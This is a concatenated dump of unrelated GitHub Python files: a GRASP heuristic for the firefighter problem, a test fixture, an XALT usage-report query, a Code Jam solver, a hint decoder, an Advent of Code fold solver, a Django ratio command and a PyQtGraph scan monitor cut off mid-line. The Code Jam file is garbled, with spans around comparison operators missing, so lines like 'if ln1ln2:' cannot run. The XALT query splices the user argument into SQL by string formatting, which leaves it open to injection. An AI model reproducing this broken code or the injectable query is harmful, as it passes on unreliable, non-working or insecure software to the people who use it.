best.neighborhood\n\n # Pseudocodigo começa aqui:\n # Para cada Si (ao contrário), adiciona no pool até \"rho-1\" elementos.\n # Em seguida, verifica diversidade, substituindo os elementos\n # menos diversos até acabar o último conjunto.\n for i in range(4)[::-1]:\n for s in Si[i]:\n\n # Adicionar as primeiras rho-1 soluções visitadas ao pool\n if len(pool) < rho-1:\n pool.append(s)\n\n else:\n # Solução do pool com menor diferença simétrica da\n # vizinhança em relação a n_best\n old_s = min(pool, key=lambda x: len(\n n_s[x].symmetric_difference(n_best)))\n\n # Se a diferença simétrica da vizinhanaça de s em rel. a\n # n_best for maior que a de old_s, substituir old_s por s\n # no pool\n if len(n_s[s].symmetric_difference(n_best)) > \\\n len(n_s[old_s].symmetric_difference(n_best)):\n pool.remove(old_s)\n pool.append(s)\n\n # Parar se pool estiver cheio, para priorizar soluções boas\n if len(pool) == rho-1:\n break\n\n return pool, best\n\n def neighborhood_update(self, sigma: float, solution: Solution):\n return min(1, sigma+0.1) if solution.optimal else max(0, sigma-0.1)\n\n def adaptive_local_search(self, problem: FFP, pool: list,\n best_sol: Solution, curr_time: float):\n '''\n Função para busca local adaptativa da mateurística baseada no\n GRASP. Faz busca local em todos os elementos de um pool de\n soluções, atualizando os hiperparâmetros de acordo.\n\n Args:\n problem (FFP): O problema a ser resolvido.\n pool (list): o pool de soluções a ser explorado.\n best_sol (Solution): melhor solução do pool.\n curr_time (float): duração atual da execução.\n '''\n\n # Inicializar parâmetros.\n pool.reverse()\n inc_sol = best_sol\n sigma, rho = 0.5, len(pool)\n local_time = (self.limit - curr_time)/2\n\n # Explorar pool de soluções (exceto a melhor)\n for s in pool:\n sol_time = (self.limit - curr_time - local_time)/rho\n\n # Busca local com T iterações\n T = ceil((1+self.eps)*s.T)\n curr_sol = problem.local_search(s, self.k, sigma, self.f, T,\n sol_time)\n inc_sol = curr_sol if curr_sol.cost > inc_sol.cost else inc_sol\n\n # Atualizar sigma e outros parâmetros\n sigma = self.neighborhood_update(sigma, curr_sol)\n rho = rho - 1\n curr_time = time() - self.start_time\n\n # Explorar melhor solução (agora com vizinhança adaptada)\n T = ceil((1+self.eps)*best_sol.T)\n curr_sol = problem.local_search(best_sol, self.k, sigma, self.f,\n T, local_time)\n inc_sol = curr_sol if curr_sol.cost > inc_sol.cost else inc_sol\n curr_time = time() - self.start_time\n\n return self.intensification(problem, sigma, inc_sol, curr_time)\n\n def intensification(self, problem: FFP, sigma: float,\n best_sol: Solution, curr_time: float):\n '''\n Função de intensificação de busca da mateurística baseada no\n GRASP. Realiza uma série de buscas locais em cima da melhor\n solução, com diferentes valores de \"sigma\" para busca local.\n Early stopping em caso de convergência.\n\n Args:\n problem (FFP): O problema a ser resolvido.\n sigma (float): fração de elementos da vizinhança.\n best_sol (Solution): melhor solução do pool.\n curr_time (float): duração atual da execução.\n '''\n\n # Iniciar parâmetros\n prev_sol = best_sol\n gamma = False\n prev_sig = sigma\n\n # Consecutivas buscas locais na melhor solução.\n while(curr_time < self.limit):\n N_prev = prev_sol.filter_neighborhood(problem, self.k, prev_sig,\n self.f)\n\n # Busca local com T iterações\n T = ceil((1+self.eps)*prev_sol.T)\n curr_sol = problem.local_search(prev_sol, self.k, prev_sig,\n self.f, T, self.limit - curr_time)\n best_sol = curr_sol if curr_sol.cost > best_sol.cost else best_sol\n\n # Atualizar sigma\n sigma = self.neighborhood_update(sigma, curr_sol)\n\n # Verificar critérios de parada: convergência e segundo reinício.\n N_curr = curr_sol.filter_neighborhood(problem, self.k, sigma,\n self.f)\n if len(N_prev.symmetric_difference(N_curr)) == 0 or \\\n (sigma == prev_sig and gamma):\n break\n\n # Reinício.\n if sigma == prev_sig and not gamma:\n sigma = 0.5\n gamma = True\n\n # Atualizar parâmetros\n prev_sol = curr_sol\n prev_sig = sigma\n curr_time = time() - self.start_time\n\n return best_sol\n\n\nif __name__ == \"__main__\":\n # Ler argumentos da linha de comando\n parser = ArgumentParser(add_help=False)\n parser.add_argument('--input-file', type=str, required=True)\n parser.add_argument('--D', type=int, required=True)\n args = parser.parse_args()\n\n if not exists(args.input_file):\n print(\"Instance does not exist! Try again.\")\n\n # Instanciar problema\n ffp = FFP(args.D)\n ffp.read_input(args.input_file)\n\n # Parâmetros\n k = 2\n f = num_of_descendants\n eps = 0.5\n limit = ffp.G.number_of_nodes() / 2\n alpha = 0.3\n eta = 11000\n rho = 4\n seed_number = 1337\n\n # Instanciar mateurística\n seed(seed_number)\n start_time = time()\n method = NatGRASP(ffp, k, f, eps, limit, start_time)\n\n # PASSO 1: Construção\n S = dict()\n\n # Critério de parada 1: eta iterações\n for _ in range(eta):\n\n # Critério de parada 2: metade do limite de tempo alcançado\n if time() - method.start_time >= method.limit / 2:\n break\n\n curr = method.constructive_heuristic_th(alpha)\n neigh_key = str(sorted(curr.neighborhood))\n\n # Armazenar solução corrente se não tiver sido encontrada nenhuma\n # solução com a mesma vizinhança ou se a encontrada tiver menor custo\n if neigh_key not in S.keys() or curr.cost > S[neigh_key].cost:\n S[neigh_key] = curr\n\n # Converter S em lista de soluções\n S = list(S.values())\n\n # PASSO 2: Seleção\n P, best = method.pool_selection(S, rho)\n\n print(\"Best before local search:\\n\", best)\n\n # PASSO 3: Busca Local\n best = method.adaptive_local_search(ffp, P, best, time()-start_time)\n\n # PASSO FINAL: Imprimir resultado\n final_time = time()-start_time\n path, filename = split(args.input_file)\n directory = split(path)[1]\n\n print(\"Best after local search:\\n\", best)\n print(f\"\\\"{directory}\\\",{ffp.G.number_of_nodes()},{best.cost},\"\n f\"\\\"{filename}\\\",{args.D},{final_time:.4f},{seed_number}\")\n","repo_name":"eduinnarelli/FFP","sub_path":"src/NatGRASP.py","file_name":"NatGRASP.py","file_ext":"py","file_size_in_byte":12458,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"1638160477","text":"import pytest\n\nfrom hworker.config import create_config, process_configs\n\n\n@pytest.fixture(scope=\"function\")\ndef user_config(request, tmp_path):\n config = tmp_path / \"test-config.toml\"\n create_config(config, request.param)\n process_configs(str(config))\n","repo_name":"FrBrGeorge/HWorker","sub_path":"tests/user_config.py","file_name":"user_config.py","file_ext":"py","file_size_in_byte":262,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"34611470381","text":"from operator import itemgetter\nfrom .util import get_user_group\n\ndef ModuleFormat(args):\n headerA = \"\\nTop %s modules sorted by %s\\n\" % (str(args.num), args.sort)\n headerT = [\"CPUHrs\", \"NodeHrs\", \"# Jobs\", \"# Users\", \"Modules\"]\n fmtT = [\"%.2f\", \"%.2f\", \"%d\", \"%d\", \"%s\"]\n orderT = ['cpuhours', 'nodehours', 'jobs', 'users', 'modules']\n if args.username:\n headerA = \"\\nTop %s modules used by users\\n\" % (str(args.num))\n headerT = [\"CPUHrs\", \"NodeHrs\", \"# Jobs\", \"Username\", \"Modules\"]\n fmtT = [\"%.2f\", \"%.2f\", \"%d\", \"%s\", \"%s\"]\n orderT = ['cpuhours', 'nodehours', 'jobs', 'users', 'modules']\n if args.group:\n headerT.insert(-1, \"Group\")\n if args.user:\n headerA = \"\\nTop %s modules used by %s\\n\" % (str(args.num), args.user)\n headerT = [\"CPUHrs\", \"NodeHrs\", \"# Jobs\", \"Modules\"]\n fmtT = [\"%.2f\", \"%2.f\", \"%d\", \"%s\"]\n orderT = ['cpuhours', 'nodehours', 'jobs', 'modules']\n if args.jobs:\n headerA = \"\\nFirst %s jobs sorted by %s\\n\" % (str(args.num), args.sort)\n if args.user:\n headerA = \"\\nFirst %s jobs used by %s\\n\" % (str(args.num), args.user)\n headerT = [\"Date\", \"JobID\", \"CPUHrs\", \"NodeHrs\", \"# GPUs\", \"# Cores\", \"# Threads\", \"Modules\"]\n fmtT = [\"%s\", \"%s\", \"%.2f\", \"%.2f\", \"%d\", \"%d\", \"%d\", \"%s\"]\n orderT = ['date', 'jobs', 'cpuhours', 'nodehours', 'n_gpus', 'n_cores', 'n_thds', 'modules']\n\n headerA += '\\n'\n if args.sql != '%':\n headerA += '* Search pattern: %s\\n' % args.sql\n if args.gpu:\n headerA += '* GPU jobs only\\n'\n headerA += '* WARNING: CPUHrs is executable walltime x # cores x # threads, not actual CPU utilization\\n'\n\n return [headerA, headerT, fmtT, orderT]\n\n\nclass Module:\n def __init__(self, cursor):\n self.__modA = []\n self.__cursor = cursor\n\n def build(self, args, startdate, enddate):\n select_runtime = \"\"\"\n ROUND(SUM(run_time*num_cores*num_threads)/3600,2) as cpuhours,\n ROUND(SUM(run_time*num_nodes)/3600,2) as nodehours,\n \"\"\"\n select_jobs = \"COUNT(DISTINCT(job_id)) as n_jobs, \"\n select_user = \"COUNT(DISTINCT(user)) as n_users, \"\n search_user = \"\"\n search_gpu = \"\"\n group_by = \"group by modules\"\n if args.user or args.username:\n select_user = \"user, \"\n if args.user:\n search_user = \"and user like '%s'\" % args.user\n args.group = False\n if args.username:\n group_by = \"group by user, modules\"\n\n if args.jobs:\n select_runtime = \"\"\"\n ROUND(run_time*num_cores*num_threads/3600,2) as cpuhours,\n ROUND(run_time*num_nodes/3600,2) as nodehours,\n \"\"\"\n select_user = \"user, \"\n select_jobs = \"job_id, \"\n group_by = \"\"\n args.sort = 'date' if not args.sort else args.sort\n args.group = False\n \n if args.gpu:\n search_gpu = \"and num_gpus > 0 \"\n\n args.sort = 'cpuhours' if not args.sort else args.sort\n query = \"\"\" SELECT \"\"\" + \\\n select_runtime + \\\n select_jobs + \\\n select_user + \\\n \"\"\"\n num_gpus as n_gpus,\n num_cores as n_cores,\n num_threads as n_thds,\n module_name as modules,\n date\n from xalt_run where syshost like %s\n \"\"\" + \\\n search_user + \\\n \"\"\"\n and LOWER(module_name) like %s\n and date >= %s and date <= %s and module_name is not null\n \"\"\" + \\\n search_gpu + \\\n group_by\n\n cursor = self.__cursor\n cursor.execute(query, (args.syshost, args.sql.lower(), startdate, enddate))\n resultA = cursor.fetchall()\n modA = self.__modA\n for cpuhours, nodehours, jobs, users, n_gpus, n_cores, n_thds, modules, date in resultA:\n entryT = { 'cpuhours' : cpuhours,\n 'nodehours' : nodehours,\n 'jobs' : jobs,\n 'users' : users,\n 'n_gpus' : n_gpus,\n 'n_cores' : n_cores,\n 'n_thds' : n_thds,\n 'modules' : modules,\n 'date' : date }\n modA.append(entryT)\n\n def report_by(self, args):\n resultA = []\n headerA, headerT, fmtT, orderT = ModuleFormat(args)\n hline = map(lambda x: \"-\"*len(x), headerT)\n resultA.append(headerT)\n resultA.append(hline)\n\n modA = self.__modA\n if args.sort[0] == '_':\n args.sort = args.sort[1:]\n sortA = sorted(modA, key=itemgetter(args.sort))\n else:\n sortA = sorted(modA, key=itemgetter(args.sort), reverse=True)\n num = min(int(args.num), len(sortA))\n for i in range(num):\n entryT = sortA[i]\n resultA.append(map(lambda x, y: x % entryT[y], fmtT, orderT))\n if args.group:\n group = get_osc_group(entryT['users'])\n resultA[-1].insert(-1, group)\n\n statA = {'num': len(sortA),\n 'cpuhours': sum([x['cpuhours'] for x in sortA])}\n if not args.jobs:\n statA['jobs'] = sum([x['jobs'] for x in sortA])\n return [headerA, resultA, statA]\n","repo_name":"ZQyou/xalt_usage_report","sub_path":"query/xalt_module.py","file_name":"xalt_module.py","file_ext":"py","file_size_in_byte":4916,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23398113921","text":"maxt = 999999\r\nimport time\r\nstart_time = time.clock()\r\n\r\n\r\n##def palin(string): #1 if palin\r\n## ln = len(string)\r\n## i = 0\r\n## j = ln-1\r\n##\r\n## while(i=0, n digits, how many?\r\n #t=1 if start of word, else 0\r\n tot = 0\r\n if n==2:\r\n for i in range(t,10):\r\n if 2*(i**2)<=s:\r\n tot+=1\r\n else:\r\n break\r\n return tot\r\n if n==1:\r\n for i in range(t,10):\r\n if i**2<=s:\r\n tot+=1\r\n else:\r\n break\r\n return tot\r\n\r\n #so n>=3\r\n for i in range(t,10):\r\n if 2*(i**2)<=s:\r\n tot += fsq(0,s-2*(i**2),n-2)\r\n else:\r\n break\r\n return tot\r\n\r\n#print(fsq(1,9,4))\r\n \r\n\r\ndef rfsq(a,b,s,n): #[a,b],total sum at most s, n digits, how many?\r\n tot=0\r\n a = list(a)\r\n b = list(b)\r\n\r\n\r\n if n==2:\r\n m = 10*int(a[0])+int(a[1])\r\n n = 10*int(b[0])+int(b[1])\r\n for i in range(int(a[0]),10):\r\n if 11*i<=n:\r\n if m<=11*i and 2*(i**2)<=s:\r\n tot+=1\r\n else:\r\n break\r\n return tot\r\n if n==1:\r\n for i in range(int(a[0]),10):#0,3\r\n if i**2<=s and i<=int(b[0]):\r\n tot+=1\r\n else:\r\n return tot\r\n #so n>=3\r\n for i in range(int(a[0]),10):\r\n if 2*(i**2)<=s and i<=int(b[0]):\r\n\r\n if i==int(b[0]):\r\n go = 1\r\n \r\n d = b[:]\r\n del(d[n-1])\r\n del(d[0])\r\n\r\n if(i>int(b[n-1])):\r\n j=n-3\r\n \r\n while j>=0:\r\n if int(d[j])!=0:\r\n d[j] = str(int(d[j])-1)\r\n go = 1\r\n break\r\n else:\r\n d[j]=9\r\n j-=1\r\n go = 0 #go is only 0 if all 0's\r\n\r\n if i==int(a[0]):\r\n c = a[:]\r\n del(c[n-1])\r\n del(c[0])\r\n \r\n if(i=9^2 here as even if c ends in 9, no possible solutions have a 9 anyway\r\n\r\n d = \"\"\r\n for j in range(n-2):\r\n d+=\"9\"\r\n\r\n\r\n tot+=rfsq(c,d,s-2*(i**2),n-2)\r\n \r\n else:\r\n tot += fsq(0,s-2*(i**2),n-2)\r\n\r\n return tot\r\n\r\ndef ffsq(a,b):\r\n a = list(a)\r\n b = list(b)\r\n\r\n ln1 = len(a)\r\n ln2 = len(b)\r\n\r\n if ln1==ln2:\r\n return(rfsq(a,b,9,ln1))\r\n #so not\r\n tot = 0\r\n\r\n c = []\r\n for i in range(ln1):\r\n c.append(\"9\")\r\n d = []\r\n for i in range(ln2):\r\n d.append(\"0\")\r\n d[0]=\"1\"\r\n\r\n tot += rfsq(a,c,9,ln1)\r\n tot += rfsq(d,b,9,ln2)\r\n\r\n for i in range(ln2-ln1-1):\r\n tot += fsq(1,9,ln1+1+i)\r\n return tot\r\n\r\ndef add(lst1, lst2):\r\n lst1 = lst1[::-1]\r\n lst2 = lst2[::-1]\r\n\r\n ln1 = len(lst1)\r\n ln2 = len(lst2)\r\n\r\n if ln1ln2:\r\n for i in range(ln1-ln2):\r\n lst2+=\"0\"\r\n ln2=ln1\r\n\r\n res = \"\"\r\n rem = 0\r\n for i in range(ln1):\r\n a = int(lst1[i])+int(lst2[i])+rem\r\n res+=str(a%10)\r\n\r\n if a>=10:\r\n rem = 1\r\n else:\r\n rem = 0\r\n if rem:\r\n res+=str(rem)\r\n res=res[::-1]\r\n\r\n return res\r\n\r\ndef sub(lst1, lst2):\r\n lst1 = lst1[::-1]\r\n lst2 = lst2[::-1]\r\n\r\n ln1 = len(lst1)\r\n ln2 = len(lst2)\r\n\r\n if ln1ln2:\r\n for i in range(ln1-ln2):\r\n lst2+=\"0\"\r\n ln2=ln1\r\n\r\n res = \"\"\r\n rem = 0\r\n for i in range(ln1):\r\n a = int(lst1[i])-int(lst2[i])+rem\r\n res+=str(a%10)\r\n\r\n if a<=-1:\r\n rem = -1\r\n else:\r\n rem = 0\r\n\r\n i=ln1-1\r\n while i>=0 and res[i]==\"0\":\r\n res = res[:-1]\r\n i-=1\r\n \r\n \r\n res=res[::-1]\r\n\r\n return res\r\n\r\ndef comp(lst1,lst2):\r\n lst1 = lst1[::-1]\r\n lst2 = lst2[::-1]\r\n\r\n ln1 = len(lst1)\r\n ln2 = len(lst2)\r\n\r\n if ln1ln2:\r\n for i in range(ln1-ln2):\r\n lst2+=\"0\"\r\n ln2=ln1\r\n\r\n for i in range(ln1):\r\n if lst1[ln1-i-1]lst2[ln2-i-1]:\r\n return 1\r\n return 0\r\n \r\ndef div(lst1,lst2):\r\n ln1 = len(lst1)\r\n ln2 = len(lst2)\r\n\r\n p=\"\"\r\n \r\n shift = ln1-ln2\r\n\r\n while shift>=0:\r\n i=0\r\n bit = lst1[:ln1-shift]\r\n while comp(bit,lst2)>=0:\r\n bit = sub(bit,lst2)\r\n i+=1\r\n \r\n p += str(i)\r\n p = p[::-1]\r\n i = len(p)-1\r\n while i>=0 and p[i]==\"0\":\r\n p = p[:-1]\r\n i-=1\r\n p = p[::-1]\r\n\r\n lst1 = bit + lst1[ln1-shift:]\r\n ln1 = len(lst1)\r\n shift -= 1\r\n return [p,lst1]\r\n\r\ndef sqrt(lst):\r\n if comp(lst,\"100000000\")<=0:\r\n ln = len(lst)\r\n a = \"1\"\r\n for i in range(int(ln/2)):\r\n a += \"0\"\r\n \r\n else:\r\n ln = len(lst)\r\n k = int(ln/2) - 3\r\n\r\n d = int(lst[0:ln-2*k])\r\n d = d**(0.5)\r\n d = int(d)\r\n d = str(d)\r\n\r\n for i in range(k):\r\n d+=\"0\"\r\n \r\n a = d\r\n\r\n b = lst[:]\r\n\r\n\r\n while not(comp(add(a,\"1\"),b)>=0 and comp(add(b,\"1\"),a)>=0):\r\n x = div(lst,a)[0]\r\n x = add(a,x)\r\n x = div(x,\"2\")[0]\r\n\r\n b = a\r\n a = x\r\n \r\n x = div(lst,a)[0]\r\n x = add(a,x)\r\n x = div(x,\"2\")[0]\r\n\r\n b = a\r\n a = x\r\n\r\n if comp(a,b)==1:\r\n a = b #take a the smaller one\r\n\r\n s = add(a,\"1\")\r\n if comp(div(lst,s)[0],s) >= 0:\r\n a=s\r\n\r\n r = div(lst,a)\r\n if comp(r[0],a)==1 or comp(r[1],\"\")==1:\r\n rem = 1\r\n else:\r\n rem = 0\r\n return [a,rem]\r\n\r\nfin = open('in.in','r')\r\nfout = open('output.txt','w')\r\n\r\nabc = fin.read()\r\nabc = abc.split()\r\n\r\nntst = int(abc[0])\r\nj = 1\r\n\r\nfor i in range(ntst):\r\n a = sqrt(abc[j])\r\n b = sqrt(abc[j+1])[0]\r\n\r\n if a[1] != 0:\r\n a = add(a[0],\"1\")\r\n else:\r\n a = a[0]\r\n\r\n fout.write(\"Case #{}: {}\".format(i+1,ffsq(a,b))+\"\\n\")\r\n j+=2\r\n if(j%400==1):\r\n print(0)\r\n \r\nfin.close()\r\nfout.close()\r\n\r\nprint( time.clock() - start_time, \"seconds\")\r\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_118/808.py","file_name":"808.py","file_ext":"py","file_size_in_byte":7984,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"14060626206","text":"'''\r\nName: Roger Poduska, Ben Marquis, Dana Garadah, Evan Sasowsky\r\nemail: poduskrd@mail.uc.edu, marquibm@mail.uc.edu, garadada@mail.uc.edu, sasowser@mail.uc.edu\r\nAssignment: Final Project\r\nCourse: IS 4010\r\nSemester/Year: Fall 2022\r\nBrief Description: Contains functions to decrypt hint and display our photo\r\nCitations: N/a\r\nAnything else that's relevant: N/a\r\n'''\r\nimport json\r\nfrom PIL import Image, ImageFilter, ImageDraw, ImageFont\r\nimport os, sys\r\n#import requests\r\nfrom io import BytesIO\r\nfrom fileinput import filename\r\n\r\ndef getPlace(): \r\n with open('EncryptedGroupHints.json') as json_file:\r\n encrypt = json.load(json_file)\r\n \r\n # Print the type of data variable\r\n print(\"Type:\", type(encrypt))\r\n \r\n # Print the data of dictionary\r\n print(\"\\nReynolds:\", encrypt['Reynolds'])\r\n \r\n # opening the file in read mode\r\n my_file = open(\"english.txt\", \"r\")\r\n \r\n # reading the file\r\n data = my_file.read()\r\n \r\n # replacing end of line('/n') with ' ' and\r\n # splitting the text it further when '.' is seen.\r\n data_into_list = data.split(\"\\n\")\r\n \r\n # printing the data\r\n print(data_into_list)\r\n my_file.close()\r\n \r\n decoded_location = [data_into_list[int(x)] for x in encrypt['Reynolds']]\r\n print(decoded_location)\r\n \r\ndef display_groupPicture( filename ) :\r\n \r\n try:\r\n myimage = Image.open(filename)\r\n myimage.load()\r\n except:\r\n return None\r\n \r\n myimage.show()\r\n\r\n\r\n\r\n \r\n ","repo_name":"ropoGH/Reynolds_FinalProject","sub_path":"Reynolds_FinalProject/FunctionPackage/functions.py","file_name":"functions.py","file_ext":"py","file_size_in_byte":1607,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29365768507","text":"points = set()\ninstructions = []\n\nwith open('day13input.txt') as f:\n inputs = f.read().splitlines()\n for i, input in enumerate(inputs):\n if input == \"\":\n break\n x, y = input.split(',')\n points.add((int(x), int(y)))\n for j in range(i+1, len(inputs)):\n instructions.append(inputs[j])\n\nfor instruction in instructions:\n _, _, whereToFold = instruction.split(' ')\n axis, point = whereToFold.split('=')\n point = int(point)\n newPoints = set()\n if axis == 'y':\n for p in points:\n x, y = p\n x = int(x)\n y = int(y)\n if y <= point:\n newPoints.add((x,y))\n else:\n newPoints.add((x,y-2*(y - point)))\n else:\n for p in points:\n x, y = p\n x = int(x)\n y = int(y)\n if x <= point:\n newPoints.add((x, y))\n else:\n newPoints.add((x-2*(x-point),y))\n points = newPoints\n# DRAWING!\nmaxY = max([p[1] for p in points])\nmaxX = max([p[0] for p in points])\nprint()\nfor y in range(maxY+1):\n for x in range(maxX+1):\n if (x,y) in points:\n print('#',end='')\n else:\n print('.',end='')\n print()\nprint()\n\n'''\nPart 1: 785\nPart 2:\n####...##..##..#..#...##..##...##..#..#\n#.......#.#..#.#..#....#.#..#.#..#.#..#\n###.....#.#..#.####....#.#....#..#.####\n#.......#.####.#..#....#.#.##.####.#..#\n#....#..#.#..#.#..#.#..#.#..#.#..#.#..#\n#.....##..#..#.#..#..##...###.#..#.#..#\n'''\n\n","repo_name":"godarkrai/AOC-2021","sub_path":"day13.py","file_name":"day13.py","file_ext":"py","file_size_in_byte":1532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27393347657","text":"import json\nfrom django.core.management.base import BaseCommand\nfrom api.models import Company, ReportedEntry, AnalyticEntry\n\n\nclass Command(BaseCommand):\n help = 'Create ratios'\n\n def handle(self, *args, **options):\n self.run()\n self.stdout.write(self.style.SUCCESS('Successfully created ratios'))\n\n def run(self):\n YEARS = ['2014', '2015', '2016']\n\n # RATIOS LIST: http://www.cpaclass.com/fsa/ratio-01a.htm\n\n def process_report(report, c, y):\n\n def create_ratio(name, type, value):\n a, created = AnalyticEntry.objects.get_or_create(company=c,\n year=y,\n name=name,\n value=value,\n type=type)\n if created:\n print(a.company.ticker, a.name)\n a.save()\n\n try:\n create_ratio('CurrentRatio', 'Liquidity', report['AssetsCurrent'] / report['LiabilitiesCurrent'])\n create_ratio('QuickRatio', 'Liquidity',\n (report['AssetsCurrent'] - report['InventoryNet']) / report['LiabilitiesCurrent'])\n create_ratio('NetWorkingCapital', 'Liquidity', (report['AssetsCurrent'] - report['LiabilitiesCurrent']) / report['Assets'])\n\n create_ratio('ReturnOnAssets', 'Profitability', report['NetIncomeLoss'] / report['Assets'])\n create_ratio('ReturnOnEquity', 'Profitability', report['NetIncomeLoss'] / report['StockholdersEquity'])\n # create_ratio(['Profitability']['ReturnOnCommonEequity']\n create_ratio('ProfitMargin', 'Profitability', report['NetIncomeLoss'] / report['SalesRevenueNet'])\n create_ratio('EPS', 'Profitability', report['EarningsPerShareBasic'])\n create_ratio('dilutedEPS', 'Profitability', report['EarningsPerShareDiluted'])\n\n create_ratio('AssetTurnover', 'Activity', report['SalesRevenueNet'] / report['Assets'])\n create_ratio('ReceivablesTurnover', 'Activity', report['SalesRevenueNet'] / report['Assets'])\n create_ratio('InventoryTurnover', 'Activity',\n report['CostOfGoodsAndServicesSold'] / report['InventoryNet'])\n\n create_ratio('DebtToEquity', 'CapitalStructure', report['Liabilities'] / report['StockholdersEquity'])\n\n # ratios['CapitalMarket']['PE']\n # ratios['CapitalMarket']['MarketToBook']\n except:\n pass\n\n\n def main():\n companies = Company.objects.all()\n\n for c in companies:\n for y in YEARS:\n process_report(c.get_report(y), c, y)\n\n main()\n","repo_name":"katebennu/finu","sub_path":"finuapi/api/management/commands/create_ratios.py","file_name":"create_ratios.py","file_ext":"py","file_size_in_byte":2910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25020264496","text":"import os.path\nimport pyqtgraph as pg\nimport numpy as np\nfrom pyqtgraph import GraphicsLayoutWidget\nfrom pyqtgraph.Qt import QtGui\n\n\nclass ScanMonitorWidget(QtGui.QWidget):\n def __init__(self, parent=None):\n QtGui.QWidget.__init__(self, parent=None)\n self.resize(450, 450)\n self.name = None\n self.id = None\n self.wavelength = None\n self.y_axis = None\n self.data = None\n self.pos = [0, 0]\n self.accuracy = [1, 1]\n self.starting_point = 0\n self.y_pos = 0\n self.menu = QtGui.QMenuBar(self)\n\n self.main_plot = None\n\n self.layout = QtGui.QHBoxLayout(self)\n\n self.two_way = False # If the laser scan is two-ways\n self.average = False # Plot the average\n self.difference = False # Plot the difference\n\n self.file_menu = self.menu.addMenu(\"&File\")\n self.save_action = QtGui.QAction(\"&Save\", self)\n self.save_action.setShortcut('Ctrl+O')\n self.save_action.triggered.connect(self.choose_dir)\n self.file_menu.addAction(self.save_action)\n\n self.quick_save_action = QtGui.QAction(\"&Quick save\", self)\n self.quick_save_action.triggered.connect(self.save)\n self.quick_save_action.setShortcut('Ctrl+S')\n self.file_menu.addAction(self.quick_save_action)\n\n self.directory = None\n\n def set_axis(self, axis):\n \"\"\"Sets the axis names, limits and an initial empty dataset.\"\"\"\n self.wavelength = axis['wavelength']\n units_wl = self.wavelength['stop'].u # units\n num_wl_points = ((self.wavelength['stop']-self.wavelength['start'])/self.wavelength['step'])\n num_wl_points = int(round(num_wl_points.m_as('')))+1\n self.num_wl_points = num_wl_points\n self.y_axis = axis['y_axis']\n self.setWindowTitle(self.y_axis['name'])\n units_y = self.y_axis['stop'].u\n num_y_points = ((self.y_axis['stop']-self.y_axis['start'])/self.y_axis['step']).to('')\n num_y_points = int(num_y_points.m)+1\n self.num_y_points = num_y_points\n # self.viewport = GraphicsLayoutWidget()\n\n self.pos = [self.wavelength['start'].m_as(units_wl), self.y_axis['start'].m]\n self.accuracy = [self.wavelength['step'].m_as(units_wl), self.y_axis['step'].m]\n\n if self.two_way:\n self.resize(1200, 500)\n self.view1 = pg.PlotItem()\n self.view1.setLabel(axis='left', text='

{} ({:~})

'.format(self.y_axis['name'], units_y))\n self.view1.setLabel(axis='bottom', text='

wavelength (nm)

')\n self.imv1 = pg.ImageView(view=self.view1)\n vb = self.view1.getViewBox()\n vb.setAspectLocked(lock=False)\n self.autoScale = QtGui.QAction(\"Auto Range\", vb.menu)\n self.autoScale.triggered.connect(self.doAutoScale)\n vb.menu.addAction(self.autoScale)\n\n self.view2 = pg.PlotItem()\n self.view2.setLabel(axis='left', text='

{} ({:~})

'.format(self.y_axis['name'], units_y))\n self.view2.setLabel(axis='bottom', text='

wavelength (nm)

')\n self.imv2 = pg.ImageView(view=self.view2)\n vb = self.view2.getViewBox()\n vb.setAspectLocked(lock=False)\n self.autoScale = QtGui.QAction(\"Auto Range\", vb.menu)\n self.autoScale.triggered.connect(self.doAutoScale)\n vb.menu.addAction(self.autoScale)\n\n self.data = np.zeros((2*num_wl_points*num_y_points))\n d = np.reshape(self.data, (self.num_y_points, 2 * self.num_wl_points))\n d1 = d[:, :self.num_wl_points]\n d2 = d[:, -1:self.num_wl_points - 1:-1]\n self.d1 = d1\n self.d2 = d2\n\n self.imv1.setImage(d1, pos=self.pos, scale=self.accuracy, autoLevels=True, autoRange=True, autoHistogramRange=True)\n self.imv2.setImage(d2, pos=self.pos, scale=self.accuracy, autoLevels=True, autoRange=True, autoHistogramRange=True)\n vb = self.view1.getViewBox()\n vb = self.view2.getViewBox()\n self.layout.addWidget(self.imv1)\n self.layout.addWidget(self.imv2)\n\n else:\n self.resize(750, 500)\n self.view = pg.PlotItem()\n self.view.setLabel(axis='left', text='

{} ({:~})

'.format(self.y_axis['name'], units_y))\n self.view.setLabel(axis='bottom', text='

wavelength (nm)

')\n self.imv = pg.ImageView(view=self.view)\n vb = self.view.getViewBox()\n vb.setAspectLocked(lock=False)\n self.autoScale = QtGui.QAction(\"Auto Range\", vb.menu)\n self.autoScale.triggered.connect(self.doAutoScale)\n vb.menu.addAction(self.autoScale)\n\n self.data = np.zeros((num_wl_points * num_y_points))\n d = np.reshape(self.data, (self.num_wl_points, self.num_y_points))\n self.imv.setImage(d, pos=self.pos, scale=self.accuracy, autoLevels=True, autoRange=True, autoHistogramRange=True)\n vb.autoRange()\n self.layout.addWidget(self.imv)\n self.setLayout(self.layout)\n\n def clear_data(self):\n\n # Tries to clear all the plots. Avoids verifying if the window is running for second time.\n try:\n self.layout.removeWidget(self.imv1)\n self.imv1.deleteLater()\n \n except:\n pass\n try:\n self.layout.removeWidget(self.imv2)\n self.imv2.deleteLater()\n except:\n pass\n try:\n self.layout.removeWidget(self.imv)\n self.imv.deleteLater()\n except:\n pass\n\n self.name = None\n self.id = None\n self.wavelength = None\n self.y_axis = None\n self.data = None\n self.pos = [0, 0]\n self.accuracy = [1, 1]\n self.starting_point = 0\n self.y_pos = 0\n self.two_way = False # If the laser scan is two-ways\n self.average = False # Plot the average\n self.difference = False # Plot the difference\n\n\n def set_name(self, name):\n if self.name is not None:\n raise Exception('Cannot change the name of a running window.')\n else:\n self.name = name\n self.setWindowTitle(name)\n\n def set_id(self, id):\n if self.id is not None:\n raise 